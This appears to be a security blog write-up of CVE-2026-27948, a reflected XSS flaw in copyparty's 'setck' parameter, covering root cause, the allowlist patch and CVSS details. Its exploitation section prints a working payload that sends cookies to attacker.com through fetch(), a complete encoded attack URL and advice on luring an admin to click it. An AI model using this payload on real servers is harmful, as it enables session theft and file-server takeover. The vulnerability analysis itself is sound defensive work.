Feb 27, 2026·5 min read·5 visits
Copyparty < 1.20.9 reflects the 'setck' query parameter directly into the HTML response without sanitization. Attackers can use this to execute arbitrary JavaScript in a victim's browser. Patch adds strict allowlisting (alphanumeric only) and length limits.
A classic Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'copyparty' portable file server, specifically within the 'setck' URL parameter used for setting client-side configuration cookies. This flaw allows unauthenticated attackers to inject malicious JavaScript into the server's response, potentially leading to session hijacking, unauthorized file access, or administrative account takeover when a victim clicks a crafted link.
Copyparty is one of those tools sysadmins love. It’s a portable file server that runs anywhere Python lives, requires zero configuration, and just works. It is the digital equivalent of a Swiss Army knife—useful, ubiquitous, and usually safe in the pocket. But as with any tool designed for maximum convenience, security boundaries often get blurred in the name of 'feature richness'.
The vulnerability we are dissecting today, CVE-2026-27948, targets a specific convenience feature: the ability to set configuration cookies via a simple URL parameter. It sounds harmless enough—like letting a user save their dark mode preference via a link. However, in the world of web security, any time an application takes user input and spits it back out without scrubbing it first, you have a recipe for disaster.
This isn't a complex heap overflow or a race condition in the kernel. It’s Reflected Cross-Site Scripting (XSS). It’s the 'Hello World' of web exploitation, yet it persists in 2026 because developers still trust users. Rule #1 of the Internet: Users are not your friends. They are entropy agents trying to break your things.
The root cause lies in copyparty/httpcli.py. The application exposes a parameter named setck (presumably short for 'Set Cookie'). The logic is straightforward: the user visits a URL containing ?setck=value, and the server sets a cookie with that value. To be helpful, the server also replies with a confirmation message, effectively saying, 'Okay, I have set the cookie to [value].'
Here is where the logic fails. The server treated the setck value as a trusted string. It took whatever garbage the user threw into the URL and reflected it directly into the HTML response body. There was no output encoding, no sanitization, and no validation.
If you send ?setck=darkmode, the server replies set cookie: darkmode. But if you send ?setck=<script>alert(1)</script>, the server happily replies set cookie: <script>alert(1)</script>. The browser, seeing the script tags in the HTML, stops treating it as text and starts executing it as code. This is a textbook Reflected XSS. The server effectively becomes a mirror, reflecting the attacker's payload onto the victim's session.
Let's look at the actual code changes, because the diff tells the whole story. The fix was introduced in commit 31b2801fd041f803f4a3d5c12c7d7cb5419048bc. The developer realized that allowing arbitrary characters in a configuration cookie was a terrible idea.
Previously, the code (roughly) looked like this:
# Vulnerable pseudocode
val = request.args.get('setck')
response.set_cookie('cfg', val)
return "Cookie set to: " + val # <--- The Reflection PointThe patch introduces a strict allowlist. It doesn't just escape the output; it rejects bad input entirely. They added a regex to copyparty/httpcli.py:
RE_SETCK = re.compile(r"[^0-9a-z=]")And then applied it with a hammer:
zs = self.uparam["setck"]
# 1. Length check (Max 9 chars)
# 2. Regex check (Only lowercase alphanumeric and equals)
if len(zs) > 9 or RE_SETCK.search(zs):
raise Pebkac(400, "illegal value")This is a robust fix. By strictly defining what is allowed (only a-z, 0-9, and =) rather than trying to filter out what is bad, they effectively neutralized the attack vector. You can't write <script> if you can't use < or >.
To exploit this, an attacker needs to trick a logged-in Copyparty user (ideally an admin) into clicking a link. Since Copyparty is often used on internal networks or defined ports (like 3923), the attacker might target a specific host.
document.cookie) and sends it to a server controlled by the attacker.fetch('http://attacker.com/log?c='+document.cookie)Encode the Payload: Since we are passing this in a URL, we must URL-encode the special characters. <script> becomes %3Cscript%3E.
Construct the URL:
http://target-file-server:3923/?setck=cp_val=%3Cscript%3Efetch('http://attacker.com/log?c='%2bdocument.cookie)%3C/script%3EDelivery: Send this link to the sysadmin via email, Slack, or embed it in a page they frequent. "Hey, check out this error on the file server."
Execution: The admin clicks. The Copyparty server sees the setck param, reflects it into the body, and the admin's browser executes the script. The session token is silently exfiltrated to attacker.com.
With the session token, the attacker can impersonate the admin, upload malicious files (web shells), or delete critical backups.
You might think, "It's just XSS, big deal." But context is king. Copyparty is a file server. It has read/write access to the filesystem.
If an attacker hijacks an administrative session via XSS, they don't just get to change your wallpaper. They can:
While the CVSS score is a moderate 5.4 (due to the requirement of user interaction), the potential impact on a trusted internal network is critical.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
copyparty 9001 | < 1.20.9 | 1.20.9 |
| Attribute | Detail |
|---|---|
| CWE | CWE-79 (XSS) |
| Attack Vector | Network (Reflected) |
| CVSS v3.1 | 5.4 (Medium) |
| EPSS Score | 0.00029 (Low) |
| Privileges Required | None |
| User Interaction | Required |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')